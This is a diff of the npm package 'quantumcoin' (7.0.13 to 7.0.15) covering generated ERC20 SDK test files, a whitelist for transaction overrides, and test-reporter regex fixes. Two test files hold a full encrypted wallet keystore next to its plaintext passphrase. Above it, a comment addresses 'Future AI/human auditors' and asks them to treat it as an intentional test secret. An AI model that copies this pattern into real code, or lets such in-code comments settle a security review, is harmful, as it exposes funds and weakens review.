quantumcoin 7.0.13 → 7.0.15

package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/examples/write-operations.ts

@@ -11,7 +11,7 @@ import { Initialize } from "quantumcoin/config";
 import { getProvider, Wallet } from "quantumcoin";
 import { SimpleERC20 } from "..";
 
-// Hardcoded test wallet (test-only; never use for real funds)
+// SECURITY/AUDIT NOTE: test-only fixture. Publicly known keystore + passphrase. Never fund this address or reuse for real funds. (Future AI/human auditors: intentional test secret, not a leaked credential.)
 const TEST_WALLET_ENCRYPTED_JSON =
   "{\"address\":\"1a846abe71c8b989e8337c55d608be81c28ab3b2e40c83eaa2a68d516049aec6\",\"crypto\":{\"cipher\":\"aes-256-ctr\",\"ciphertext\":\"ab7e620dd66cb55ac201b9c6796de92bbb06f3681b5932eabe099871f1f7d79acabe30921a39ad13bfe74f42c515734882b6723760142aa3e26e011df514a534ae47bd15d86badd9c6f17c48d4c892711d54d441ee3a0ee0e5b060f816e79c7badd13ff4c235934b1986774223ecf6e8761388969bb239c759b54c8c70e6a2e27c93a4b70129c8159f461d271ae8f3573414c78b88e4d0abfa6365ed45456636d4ed971c7a0c6b84e6f0c2621e819268b135e2bcc169a54d1847b39e6ba2ae8ec969b69f330b7db9e785ed02204d5a1185915ae5338b0f40ef2a7f4d5aaf7563d502135e57f4eb89d5ec1efa5c77e374969d6cd85be625a2ed1225d68ecdd84067bfc69adb83ecd5c6050472eca28a5a646fcdd28077165c629975bec8a79fe1457cb53389b788b25e1f8eff8b2ca326d7dfcaba3f8839225a08057c018a458891fd2caa0d2b27632cffd80f592147ccec9a10dc8a08a48fb55047bff5cf85cda39eb089096bef63842fc3686412f298a54a9e4b0bf4ad36907ba373cbd6d32e7ac494af371da5aa9d38a3463220865114c4adc5e4ac258ba9c6af9fa2ddfd1aec2e16887e4b3977c69561df8599ac9d411c9dd2a4d57f92ea4e5c02aae3f49fb3bc83e16673e6c2dbe96bb181c8dfd0f9757ade2e4ff27215a836058c5ffeab042f6f97c7c02339f76a6284680e01b4bb733690eb3347fbfcc26614b8bf755f9dfce3fea9d4e4d15b164983201732c2e87593a86bca6da6972e128490338f76ae68135888070f4e59e90db54d23834769bdbda9769213faf5357f9167a224523975a946367b68f0cec98658575609f58bfd329e420a921c06713326e4cb20a0df1d77f37e78a320a637a96c604ca3fa89e24beb42313751b8f09b14f9c14c77e4fd13fc6382505d27c771bca0d821ec7c3765acffa99d83c50140a56b0b28101c762bd682fe55cb6f23cbeb3f421d7b36021010e45ac27160dd7ead99c864a1b550c7edb1246950fe32dcc049799f9085287f0a747a6ef7a023df46a23a22f3e833bbf8d404f84344870492658256ee1dfc40fda33bb8d48fc72d4520ba9fc820c9123104a045206809037709f2a5f6723fa77d6bac5a573823d4ec3a7f1cb786a52ee2697e622e5d75962fa554d1024a6c355e21f33a63b2b72e6c4742a8b1c373aa532b40518c38c90b5373c2eb8c9d7be2a9e16047a3ee09dc9a6849deac5183ace6cfe91a9bef2ffc0a7df6ccebfd4c858c84b0e0355650d7466971e66f1e3883013e5ad1be33199b1d110b79070ac1b745ccb14cf63a08f8cca3a21c9525e626ff5f0c34746e10750fb742ad51f11f2acae3676c2111853d7250d01b77821a6ba9e04400ba2c543ca9f2d701ae6f47bfad14ffe3039ee9e71f7b2401359ade9938750ddb9c5a8b018a7929ed8d0e717ff1861446ce17535e9b17c187711190aae3388bd9490837a636c25ed4d42d7079ad1a51e13292c683d5d012abcf46965c534b83ab53f2c1f0cf5830ef7582e06863a33c19a70511df632885d63245965047ea96b56f1af5b3b94a54999f784fb9574fdfcd7c1230e07a2aaa04acd3097b2b9f8ddba05ae9734491deb5c1a513c76ed276cb78bbf4839dae3156d76af444a5805129d5df791167a9c8576a1d7f760b2d2797c4658669608706fbd0ace1be2346f74862dfc9ef518e55632e43c043186e5d070deb34d12fb9e5aba84e5cb50213dc88efd39cc35bf42455aa82d5e3b707b3140be3b8623b34fdd81d08615c188ae8438a13881fdf6bf32f2cb9ff5fa625561040c6b71d4b8eccc90bc3b99650d28dd1ee63773e49664e3d48c484996b290943635a6f2eb1ce9796d3fa144a3f00ef82faaa32d6a413668f7b521517cb68b2b017fcf56c79326fa5e4060e643631ca3f0a0dc0ed718798b6f46b130d437c33f64039e887324b6f5e604b1669d613923794edbf04b1b3caea54793b52b44b170173a4f25c7ecef3b71e2aad76e556b1cb9f1d637ec52ececfa950dd31dbb6a60828a3ad34c1beffe09eb4785786d63bad10a0b0f66ea88c57380f38ea85f018dbd7f538cf1ee7624095b9a01ec5edd528f281168af020609e651ff316aa1320a710134ddfca600cc72174dcdb846d2aa29916488aa1b537b66da92e61af526debef4eb38c984569eaf549ff2129449269b492d030cd74d885f6f5785881cc4804b4a8a09ba4ff7aefe9074ac7d0c4f05d51fe4cc0ff7388a772092b9d02d70e5433a5cf3e02f46a6bd6b818d59a07ce3b9fbbf8b5faba74563bcc5240930c2d406c9aaee3e3ce0429bf68ac2b0a57adb09414cff50817d2a48fb9fa624ab863cb0c31a8b8dc5eaf6fa68cc1d7c6c685c5a33edd5c8933b9e8ab628ee428d0743699b2ff17f25586c7ce959280bb0b8c5342251f0a30b53dbc7bf1ee426ac9619c3560f811f2268ee37f189794e2e4b3db3a2fb2e34b649e504fb467438abfd1082619cc4a0b30d66beb831077812e418d2e2148db10cf4d4a29101ca52ec445b8d83519dd7de85a98e0beae9ee537096d3f1a55a7a80cdfa93d25f07c9f98e8af18cde19ec1f99c5dd4588b717a5039ddb7f177717caf0d0fd45420a70dbd6d3146890d9e450d5224146db4c33b779e3c3a04b976c052bad042ac57dd38be45407808c0fb0d7e2a8819e6cd53c6739e6612996ddaa6f066552590aa0343bc1e62b298ff2514a0cef8be21956c2e942816f7a3a3a0935eaf9b37251409ce444c986c3817e82835555fe18239f3ae33469d7965c2bde9991fde556bd07af01df52bbde0c35bb4ef48e3b5d0db53f8ca4ed35b83f760f0a1bc4ed9f86e85d6039a17df373c85402ef956f01db00eb39c4b74bd0660d29ee746714d9780d738e05c6cca414ce3d7b40dda8036a9eea9ab1388805f913eb19bdd3f09d9e161eaa50231bd9caba61971f194332dd28c696a60458c1c6c2cc5da8b1192611c7c553e9e12fe48ce46bbb891be8bb118721c86222e671ddd1da8f0ccb2b68e02f2014b4925e904e88369aaf7466bd7033a60c265d45955944916ecbdb84bf1b522b01b0149c632e04c568a7eb627c5bb90ece052ebcf79166c28b30d23fe52da0a5ab5dea83ca479a3e3b7a9cfbbfea04dbe6137c19d067317c2ec427a8c75a6b06bec6dcd5d5c0edc9aa80b9003b8e17c088b2f3db327d3e42630d82d20120240c3ba56232280787da4aabbf5bc95a864029f00710e195f2a76460a0317d10b552fe1bea097e41d49756c680a41d6ac186e62169b6b6cd7776ea84618b5b752328a5bacaa10aa122ff9b2698b43efe73d852a899db644863c8c9bc8068ea86ea843fd6fe36272b91cdc5d5317083ef3fd1e5462a0b0d0604dc57b3bbfceb0fca4cd349625dd7b25166af30efe5ee6a0af953a74d65f4736c59918ee55a3b0d9d9d42e04c7f8a77e479109f740e20c464d5d7e3d16805f47b61f403ff7f408c9e850d9baacd8067e544536a4953480b0f9ee9cd45f41ebd67b51f78788a6470cb1e5ca72ca346ce8a50d0ca0c921d5576a4455a1afb6d0bc688004712ee122cacdb29c51e84893324c27fa4a3f1917edf5352272b4c97579a6152e4b77663d0ab532915f2eeb6a862de8b696452321b660c3f2449673d086e95a7af28845a5259b763e0fcd09f72acf7b6c811066263060e5aa5b24658e880a01fd56bda4dad5ab604e129290f7d5489728f2a40968c6168b21cebbbcd11727cc9e9160c4e92e04387d3b0d62aab06a61f26daedd9fed11816ef2180172a47f47184ac4032b88758c98a2e0fb200f70e93ba695f5ebb7a1029610ad360d3b7fa1b4640b9dc674d3625eef786da93dff19bc7991b5d6193a3896664763fde479b5dfc04812111a80782854f2cf68ca7d82765cc9eb40fba4b44640710ed6e653abf9f07b466333f4fd22784d53cf40e17120f42caa841eaa24056b237827b0f47f7257c103c35027e9f503e5acfd023e7357b600d3084d361d5ee65ba319b45c153212a54e6fed85af7e43e0a926ebcbc2edf8de7e2ec9528f00bec262ad04d5c9dafccaea06a24748d28bf1799bae0e895543084539c50b5aaa4fb50d7431d6f0c8cee2a54aaf7ee7919b55bf40adb688632e5dbe273cea09e97b19c3d8e1f4de000deb66fa1942ad03a62d3252f51992244366c156000b49c297167a6cbdedea7ebae139d295f0ad298e0864249b905b7eb812886ec70ecdb286702274b5b8574149bf3866f9e46b997ff5ed622b169a0eb071347f18d530db1663906a28f4544ee4e004ab87b65476af30ede118052ff052b8dc986ca2c93dd5d4943266a579c7698ea014f688b3e8063a107feb162d392e2177b01bff77fb5abe5feebd0607158049a5a093325b7c9ee6b4dfa7a9f65c7c2fb628920d3603a1c2dad979eaa047cd661a268af1078c9788d720e64e4ce9d12e68de1e417ef2f293323681e1071f9220e1ee43d2e29d111b870ce3439f5100ecd4551ab65ee74aa1667e564957e9bc0ae1ea193980da2a0ec2698073388c85bec25ef447f0d5e93a5203fa44dff268e5cb799ed3b66e63d5e07b487e7534f24934c73a62a243e0151843a0fd3807711a101eaa7fc71f0ba68aebb9534d57cba41b094eebfb4c31cca8eddfa426f676aa347be8a7023a4e91ddb154b35cd4d5f7dbc2e5db491de99f33fc2cff2d57029ac950e1ccd681980af6a4e8969dfe39b3c7bfcbcf8fac92f1e6ec9fe572bfa6a7d65860eab2ed10ac01a71290b52e3148e84b7376a8605cd2bb0e8681ffc54691ce087685e33921bd44d36c78291713dce17569570f62137e6904f0d68cf53aa2ec395c389a75141f08114fb293ea63950e4ffee55ec6fc83cf44876b8e7f25cdd393ff87b9eda6eb746085b61a6900de191f0ce2cb388d61ece52e78bc47368194e8e00277e0d1631e6b9d4626ef76f8522582ccd5a40be3febc699bb510acc6271d55ff0f4cf3bb7669855a72efd9ca3e1056a2fe592a5bc877cce2b1f63b58383971da87873d2d1349cf5881242cdce4e7e2c5c514755746a0e0a7c2a6d9701cde005ae3420beb17c379a3516662253554f51f0423bb1844b0b90c54ed8177ceb0e1036a6609d836e748ca06c40ca64befadc6443ec286a0ce464678e8d11eb455f7bb305acebf6cb1f50e394a9bfeb752df1687831bac9cdd811f4f112ef6658d0f8799a866374ff96c5e2b79f30e7a74f8a2bc9ed1f88f01f30e30cb78ffb2bff10108f35e910ee3be4463e9e6f0ed910e8d598326e71dfa2277ffe5579d7fe9b6018bfe295b25219eae07b3b0270665c3fa00c3e0d180812b5cd62925585de84a7c48a9a86dba96544a251654d1966e082432dc85b6149cf21e91a46020ec32b66d28ba3b6a90c0617bc6fdd55aea819af2bcf84864ad60c28fe3c9f8339d0aee68b39d97f63b6e082835d86119cf9b9fdc8b827c847ce40aa10e1577a710132316845e825345e95bdf94d0c66ec65a6c4319fce4792313663b5f7a651a6710783e6ab71608ac6cbbf3af6911adf596ccf7c172b9bd5bceb6db379967b32b143bdd11d2ee12ddf64ecef6391e0f8570e6cddd3db95204919362b89b739fa94e7c1bfde799fd5e22aa25ca6ca42e30c08e23aae2385d99ebab441072a880dcefdab74a4c9bd39d363f6d1933d59400fca161d432aa00f23b1b1c19a154be8989699d549b66d44e39896f5523443bc6ddf4a65e91f1f3fb7b52318869a05856a4fc92f3694c81ed833c972fb918f7e5\",\"cipherparams\":{\"iv\":\"8c46d6162cd4c765759aedcbce2a5874\"},\"kdf\":\"scrypt\",\"kdfparams\":{\"dklen\":32,\"n\":262144,\"p\":1,\"r\":8,\"salt\":\"82fb6cdc6917609135277badacf15baa31899d08b71a5a0fa33167167c161537\"},\"mac\":\"9187b17f7eca48e6b8c586b0cd790dbe0feb876ac8385f93faa7d5e22a3c8fc7\"},\"id\":\"92caf6ee-2d43-48c0-859e-ffa1e0e23312\",\"version\":3}";
 const TEST_WALLET_PASSPHRASE = "QuantumCoinExample123!";

package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package-lock.json

@@ -9,7 +9,7 @@
       "version": "0.0.1",
       "license": "MIT",
       "dependencies": {
-        "quantum-coin-js-sdk": "1.0.35",
+        "quantum-coin-js-sdk": "1.0.36",
         "quantumcoin": "file:C:\\github\\quantumcoin.js",
         "seed-words": "^1.0.2"
       },
@@ -19,10 +19,10 @@
     },
     "../../../../..": {
       "name": "quantumcoin",
-      "version": "7.0.13",
+      "version": "7.0.14",
       "license": "MIT",
       "dependencies": {
-        "quantum-coin-js-sdk": "1.0.35",
+        "quantum-coin-js-sdk": "1.0.36",
         "seed-words": "^1.0.2"
       },
       "bin": {
@@ -545,9 +545,9 @@
       }
     },
     "node_modules/quantum-coin-js-sdk": {
-      "version": "1.0.35",
-      "resolved": "https://registry.npmjs.org/quantum-coin-js-sdk/-/quantum-coin-js-sdk-1.0.35.tgz",
-      "integrity": "sha512-hJWYxPT5x+us/61hciuW5Ky9b0cRVStBRpKniFiz/usQJkM/Pw/8dNlgdBLU2H8ZvSuBp930Y+eRp9dpYRcYNA==",
+      "version": "1.0.36",
+      "resolved": "https://registry.npmjs.org/quantum-coin-js-sdk/-/quantum-coin-js-sdk-1.0.36.tgz",
+      "integrity": "sha512-FfK+xPTrylc2rKbQzC6AXodlLWOtXerGHZ34de6d1XmvDKduO7Q2zeHrp3YDa4UgSB0Di8zzNV15LgXz7ll2Nw==",
       "license": "MIT",
       "dependencies": {
         "seed-words": "1.0.2"

package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/package.json

@@ -17,7 +17,7 @@
   },
   "dependencies": {
     "seed-words": "^1.0.2",
-    "quantum-coin-js-sdk": "1.0.35",
+    "quantum-coin-js-sdk": "1.0.36",
     "quantumcoin": "file:C:\\github\\quantumcoin.js"
   },
   "devDependencies": {

package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20.ts

@@ -271,15 +271,21 @@ export class SimpleERC20 extends Contract {
     this.populateTransaction = {
       approve: async (spender: Types.AddressLike, value: Types.Uint256Like, overrides?: any): Promise<import("quantumcoin").TransactionRequest> => {
         const data = this.interface.encodeFunctionData("approve", [spender, value]);
-        return { to: this.address, data, ...(overrides || {}) };
+        const safeOverrides: any = {};
+        for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "chainId", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
+        return { ...safeOverrides, to: this.address, data };
       },
       transfer: async (to: Types.AddressLike, value: Types.Uint256Like, overrides?: any): Promise<import("quantumcoin").TransactionRequest> => {
         const data = this.interface.encodeFunctionData("transfer", [to, value]);
-        return { to: this.address, data, ...(overrides || {}) };
+        const safeOverrides: any = {};
+        for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "chainId", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
+        return { ...safeOverrides, to: this.address, data };
       },
       transferFrom: async (from: Types.AddressLike, to: Types.AddressLike, value: Types.Uint256Like, overrides?: any): Promise<import("quantumcoin").TransactionRequest> => {
         const data = this.interface.encodeFunctionData("transferFrom", [from, to, value]);
-        return { to: this.address, data, ...(overrides || {}) };
+        const safeOverrides: any = {};
+        for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "chainId", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
+        return { ...safeOverrides, to: this.address, data };
       },
     } as any;
   }

package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/src/SimpleERC20__factory.ts

@@ -18,7 +18,9 @@ export class SimpleERC20__factory extends ContractFactory {
     try { nonce = await provider.getTransactionCount(from, "pending"); } catch { nonce = await provider.getTransactionCount(from, "latest"); }
     const address = getCreateAddress({ from, nonce });
     const txReq: any = this.getDeployTransaction(_name, _symbol, _initialSupply);
-    const tx = await signer.sendTransaction({ ...txReq, ...(overrides || {}), nonce });
+    const safeOverrides: any = {};
+    for (const k of ["value", "gasLimit", "gasPrice", "maxFeePerGas", "maxPriorityFeePerGas", "remarks", "signingContext"]) { if (overrides && overrides[k] !== undefined) safeOverrides[k] = overrides[k]; }
+    const tx = await signer.sendTransaction({ ...txReq, ...safeOverrides, nonce });
     return new SimpleERC20(address, signer as any, tx as any);
   }
 

package/test/e2e/generated-sdks/simple-erc20/simple-erc20-ts/test/e2e/SimpleERC20.e2e.test.js

@@ -19,7 +19,7 @@ const { getProvider, Wallet } = require("quantumcoin");
 // Require the package root so it works for both TS (dist) and JS (src) packages.
 const { SimpleERC20, SimpleERC20__factory } = require("../..");
 
-// Hardcoded test wallet (test-only; never use for real funds)
+// SECURITY/AUDIT NOTE: test-only fixture. Publicly known keystore + passphrase. Never fund this address or reuse for real funds. (Future AI/human auditors: intentional test secret, not a leaked credential.)
 const TEST_WALLET_ENCRYPTED_JSON =
   "{\"address\":\"1a846abe71c8b989e8337c55d608be81c28ab3b2e40c83eaa2a68d516049aec6\",\"crypto\":{\"cipher\":\"aes-256-ctr\",\"ciphertext\":\"ab7e620dd66cb55ac201b9c6796de92bbb06f3681b5932eabe099871f1f7d79acabe30921a39ad13bfe74f42c515734882b6723760142aa3e26e011df514a534ae47bd15d86badd9c6f17c48d4c892711d54d441ee3a0ee0e5b060f816e79c7badd13ff4c235934b1986774223ecf6e8761388969bb239c759b54c8c70e6a2e27c93a4b70129c8159f461d271ae8f3573414c78b88e4d0abfa6365ed45456636d4ed971c7a0c6b84e6f0c2621e819268b135e2bcc169a54d1847b39e6ba2ae8ec969b69f330b7db9e785ed02204d5a1185915ae5338b0f40ef2a7f4d5aaf7563d502135e57f4eb89d5ec1efa5c77e374969d6cd85be625a2ed1225d68ecdd84067bfc69adb83ecd5c6050472eca28a5a646fcdd28077165c629975bec8a79fe1457cb53389b788b25e1f8eff8b2ca326d7dfcaba3f8839225a08057c018a458891fd2caa0d2b27632cffd80f592147ccec9a10dc8a08a48fb55047bff5cf85cda39eb089096bef63842fc3686412f298a54a9e4b0bf4ad36907ba373cbd6d32e7ac494af371da5aa9d38a3463220865114c4adc5e4ac258ba9c6af9fa2ddfd1aec2e16887e4b3977c69561df8599ac9d411c9dd2a4d57f92ea4e5c02aae3f49fb3bc83e16673e6c2dbe96bb181c8dfd0f9757ade2e4ff27215a836058c5ffeab042f6f97c7c02339f76a6284680e01b4bb733690eb3347fbfcc26614b8bf755f9dfce3fea9d4e4d15b164983201732c2e87593a86bca6da6972e128490338f76ae68135888070f4e59e90db54d23834769bdbda9769213faf5357f9167a224523975a946367b68f0cec98658575609f58bfd329e420a921c06713326e4cb20a0df1d77f37e78a320a637a96c604ca3fa89e24beb42313751b8f09b14f9c14c77e4fd13fc6382505d27c771bca0d821ec7c3765acffa99d83c50140a56b0b28101c762bd682fe55cb6f23cbeb3f421d7b36021010e45ac27160dd7ead99c864a1b550c7edb1246950fe32dcc049799f9085287f0a747a6ef7a023df46a23a22f3e833bbf8d404f84344870492658256ee1dfc40fda33bb8d48fc72d4520ba9fc820c9123104a045206809037709f2a5f6723fa77d6bac5a573823d4ec3a7f1cb786a52ee2697e622e5d75962fa554d1024a6c355e21f33a63b2b72e6c4742a8b1c373aa532b40518c38c90b5373c2eb8c9d7be2a9e16047a3ee09dc9a6849deac5183ace6cfe91a9bef2ffc0a7df6ccebfd4c858c84b0e0355650d7466971e66f1e3883013e5ad1be33199b1d110b79070ac1b745ccb14cf63a08f8cca3a21c9525e626ff5f0c34746e10750fb742ad51f11f2acae3676c2111853d7250d01b77821a6ba9e04400ba2c543ca9f2d701ae6f47bfad14ffe3039ee9e71f7b2401359ade9938750ddb9c5a8b018a7929ed8d0e717ff1861446ce17535e9b17c187711190aae3388bd9490837a636c25ed4d42d7079ad1a51e13292c683d5d012abcf46965c534b83ab53f2c1f0cf5830ef7582e06863a33c19a70511df632885d63245965047ea96b56f1af5b3b94a54999f784fb9574fdfcd7c1230e07a2aaa04acd3097b2b9f8ddba05ae9734491deb5c1a513c76ed276cb78bbf4839dae3156d76af444a5805129d5df791167a9c8576a1d7f760b2d2797c4658669608706fbd0ace1be2346f74862dfc9ef518e55632e43c043186e5d070deb34d12fb9e5aba84e5cb50213dc88efd39cc35bf42455aa82d5e3b707b3140be3b8623b34fdd81d08615c188ae8438a13881fdf6bf32f2cb9ff5fa625561040c6b71d4b8eccc90bc3b99650d28dd1ee63773e49664e3d48c484996b290943635a6f2eb1ce9796d3fa144a3f00ef82faaa32d6a413668f7b521517cb68b2b017fcf56c79326fa5e4060e643631ca3f0a0dc0ed718798b6f46b130d437c33f64039e887324b6f5e604b1669d613923794edbf04b1b3caea54793b52b44b170173a4f25c7ecef3b71e2aad76e556b1cb9f1d637ec52ececfa950dd31dbb6a60828a3ad34c1beffe09eb4785786d63bad10a0b0f66ea88c57380f38ea85f018dbd7f538cf1ee7624095b9a01ec5edd528f281168af020609e651ff316aa1320a710134ddfca600cc72174dcdb846d2aa29916488aa1b537b66da92e61af526debef4eb38c984569eaf549ff2129449269b492d030cd74d885f6f5785881cc4804b4a8a09ba4ff7aefe9074ac7d0c4f05d51fe4cc0ff7388a772092b9d02d70e5433a5cf3e02f46a6bd6b818d59a07ce3b9fbbf8b5faba74563bcc5240930c2d406c9aaee3e3ce0429bf68ac2b0a57adb09414cff50817d2a48fb9fa624ab863cb0c31a8b8dc5eaf6fa68cc1d7c6c685c5a33edd5c8933b9e8ab628ee428d0743699b2ff17f25586c7ce959280bb0b8c5342251f0a30b53dbc7bf1ee426ac9619c3560f811f2268ee37f189794e2e4b3db3a2fb2e34b649e504fb467438abfd1082619cc4a0b30d66beb831077812e418d2e2148db10cf4d4a29101ca52ec445b8d83519dd7de85a98e0beae9ee537096d3f1a55a7a80cdfa93d25f07c9f98e8af18cde19ec1f99c5dd4588b717a5039ddb7f177717caf0d0fd45420a70dbd6d3146890d9e450d5224146db4c33b779e3c3a04b976c052bad042ac57dd38be45407808c0fb0d7e2a8819e6cd53c6739e6612996ddaa6f066552590aa0343bc1e62b298ff2514a0cef8be21956c2e942816f7a3a3a0935eaf9b37251409ce444c986c3817e82835555fe18239f3ae33469d7965c2bde9991fde556bd07af01df52bbde0c35bb4ef48e3b5d0db53f8ca4ed35b83f760f0a1bc4ed9f86e85d6039a17df373c85402ef956f01db00eb39c4b74bd0660d29ee746714d9780d738e05c6cca414ce3d7b40dda8036a9eea9ab1388805f913eb19bdd3f09d9e161eaa50231bd9caba61971f194332dd28c696a60458c1c6c2cc5da8b1192611c7c553e9e12fe48ce46bbb891be8bb118721c86222e671ddd1da8f0ccb2b68e02f2014b4925e904e88369aaf7466bd7033a60c265d45955944916ecbdb84bf1b522b01b0149c632e04c568a7eb627c5bb90ece052ebcf79166c28b30d23fe52da0a5ab5dea83ca479a3e3b7a9cfbbfea04dbe6137c19d067317c2ec427a8c75a6b06bec6dcd5d5c0edc9aa80b9003b8e17c088b2f3db327d3e42630d82d20120240c3ba56232280787da4aabbf5bc95a864029f00710e195f2a76460a0317d10b552fe1bea097e41d49756c680a41d6ac186e62169b6b6cd7776ea84618b5b752328a5bacaa10aa122ff9b2698b43efe73d852a899db644863c8c9bc8068ea86ea843fd6fe36272b91cdc5d5317083ef3fd1e5462a0b0d0604dc57b3bbfceb0fca4cd349625dd7b25166af30efe5ee6a0af953a74d65f4736c59918ee55a3b0d9d9d42e04c7f8a77e479109f740e20c464d5d7e3d16805f47b61f403ff7f408c9e850d9baacd8067e544536a4953480b0f9ee9cd45f41ebd67b51f78788a6470cb1e5ca72ca346ce8a50d0ca0c921d5576a4455a1afb6d0bc688004712ee122cacdb29c51e84893324c27fa4a3f1917edf5352272b4c97579a6152e4b77663d0ab532915f2eeb6a862de8b696452321b660c3f2449673d086e95a7af28845a5259b763e0fcd09f72acf7b6c811066263060e5aa5b24658e880a01fd56bda4dad5ab604e129290f7d5489728f2a40968c6168b21cebbbcd11727cc9e9160c4e92e04387d3b0d62aab06a61f26daedd9fed11816ef2180172a47f47184ac4032b88758c98a2e0fb200f70e93ba695f5ebb7a1029610ad360d3b7fa1b4640b9dc674d3625eef786da93dff19bc7991b5d6193a3896664763fde479b5dfc04812111a80782854f2cf68ca7d82765cc9eb40fba4b44640710ed6e653abf9f07b466333f4fd22784d53cf40e17120f42caa841eaa24056b237827b0f47f7257c103c35027e9f503e5acfd023e7357b600d3084d361d5ee65ba319b45c153212a54e6fed85af7e43e0a926ebcbc2edf8de7e2ec9528f00bec262ad04d5c9dafccaea06a24748d28bf1799bae0e895543084539c50b5aaa4fb50d7431d6f0c8cee2a54aaf7ee7919b55bf40adb688632e5dbe273cea09e97b19c3d8e1f4de000deb66fa1942ad03a62d3252f51992244366c156000b49c297167a6cbdedea7ebae139d295f0ad298e0864249b905b7eb812886ec70ecdb286702274b5b8574149bf3866f9e46b997ff5ed622b169a0eb071347f18d530db1663906a28f4544ee4e004ab87b65476af30ede118052ff052b8dc986ca2c93dd5d4943266a579c7698ea014f688b3e8063a107feb162d392e2177b01bff77fb5abe5feebd0607158049a5a093325b7c9ee6b4dfa7a9f65c7c2fb628920d3603a1c2dad979eaa047cd661a268af1078c9788d720e64e4ce9d12e68de1e417ef2f293323681e1071f9220e1ee43d2e29d111b870ce3439f5100ecd4551ab65ee74aa1667e564957e9bc0ae1ea193980da2a0ec2698073388c85bec25ef447f0d5e93a5203fa44dff268e5cb799ed3b66e63d5e07b487e7534f24934c73a62a243e0151843a0fd3807711a101eaa7fc71f0ba68aebb9534d57cba41b094eebfb4c31cca8eddfa426f676aa347be8a7023a4e91ddb154b35cd4d5f7dbc2e5db491de99f33fc2cff2d57029ac950e1ccd681980af6a4e8969dfe39b3c7bfcbcf8fac92f1e6ec9fe572bfa6a7d65860eab2ed10ac01a71290b52e3148e84b7376a8605cd2bb0e8681ffc54691ce087685e33921bd44d36c78291713dce17569570f62137e6904f0d68cf53aa2ec395c389a75141f08114fb293ea63950e4ffee55ec6fc83cf44876b8e7f25cdd393ff87b9eda6eb746085b61a6900de191f0ce2cb388d61ece52e78bc47368194e8e00277e0d1631e6b9d4626ef76f8522582ccd5a40be3febc699bb510acc6271d55ff0f4cf3bb7669855a72efd9ca3e1056a2fe592a5bc877cce2b1f63b58383971da87873d2d1349cf5881242cdce4e7e2c5c514755746a0e0a7c2a6d9701cde005ae3420beb17c379a3516662253554f51f0423bb1844b0b90c54ed8177ceb0e1036a6609d836e748ca06c40ca64befadc6443ec286a0ce464678e8d11eb455f7bb305acebf6cb1f50e394a9bfeb752df1687831bac9cdd811f4f112ef6658d0f8799a866374ff96c5e2b79f30e7a74f8a2bc9ed1f88f01f30e30cb78ffb2bff10108f35e910ee3be4463e9e6f0ed910e8d598326e71dfa2277ffe5579d7fe9b6018bfe295b25219eae07b3b0270665c3fa00c3e0d180812b5cd62925585de84a7c48a9a86dba96544a251654d1966e082432dc85b6149cf21e91a46020ec32b66d28ba3b6a90c0617bc6fdd55aea819af2bcf84864ad60c28fe3c9f8339d0aee68b39d97f63b6e082835d86119cf9b9fdc8b827c847ce40aa10e1577a710132316845e825345e95bdf94d0c66ec65a6c4319fce4792313663b5f7a651a6710783e6ab71608ac6cbbf3af6911adf596ccf7c172b9bd5bceb6db379967b32b143bdd11d2ee12ddf64ecef6391e0f8570e6cddd3db95204919362b89b739fa94e7c1bfde799fd5e22aa25ca6ca42e30c08e23aae2385d99ebab441072a880dcefdab74a4c9bd39d363f6d1933d59400fca161d432aa00f23b1b1c19a154be8989699d549b66d44e39896f5523443bc6ddf4a65e91f1f3fb7b52318869a05856a4fc92f3694c81ed833c972fb918f7e5\",\"cipherparams\":{\"iv\":\"8c46d6162cd4c765759aedcbce2a5874\"},\"kdf\":\"scrypt\",\"kdfparams\":{\"dklen\":32,\"n\":262144,\"p\":1,\"r\":8,\"salt\":\"82fb6cdc6917609135277badacf15baa31899d08b71a5a0fa33167167c161537\"},\"mac\":\"9187b17f7eca48e6b8c586b0cd790dbe0feb876ac8385f93faa7d5e22a3c8fc7\"},\"id\":\"92caf6ee-2d43-48c0-859e-ffa1e0e23312\",\"version\":3}";
 const TEST_WALLET_PASSPHRASE = "QuantumCoinExample123!";

package/test/e2e/generator-interface.e2e.test.js

@@ -126,7 +126,7 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
     try {
       const res = spawnSync(
         process.execPath,
-        ["--test", testFile],
+        ["--test", "--test-reporter=tap", testFile],
         {
           cwd: tmpRoot,
           env: childEnv,
@@ -140,14 +140,16 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
         0,
         `generated interface test failed:\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
       );
+      // Accept either the TAP reporter ("# pass 1") or the spec reporter
+      // ("\u2139 pass 1") summary line so the assertion is reporter-agnostic.
       assert.match(
         res.stdout || "",
-        /# pass 1\b/,
-        `generated interface test did not actually run (no '# pass 1' in TAP output);\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
+        /(?:#|\u2139)\s*pass 1\b/,
+        `generated interface test did not actually run (no 'pass 1' summary in test output);\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
       );
       assert.doesNotMatch(
         res.stdout || "",
-        /# pass 0\b|# tests 0\b|# skipped 1\b/,
+        /(?:#|\u2139)\s*pass 0\b|(?:#|\u2139)\s*tests 0\b|(?:#|\u2139)\s*skipped 1\b/,
         `generated interface test was skipped or did not run any tests;\nSTDOUT:\n${res.stdout}\nSTDERR:\n${res.stderr}`,
       );
       succeeded = true;

package/test/e2e/generator-interface.e2e.test.ts

@@ -121,7 +121,7 @@ describe("auto-generator: interface contract end-to-end (real chain)", () => {
     try {
       const res = spawnSync(
         process.execPath,
-        ["--test", testFile],
+        ["--test", "--test-reporter=tap", testFile],
         {
           cwd: tmpRoot,
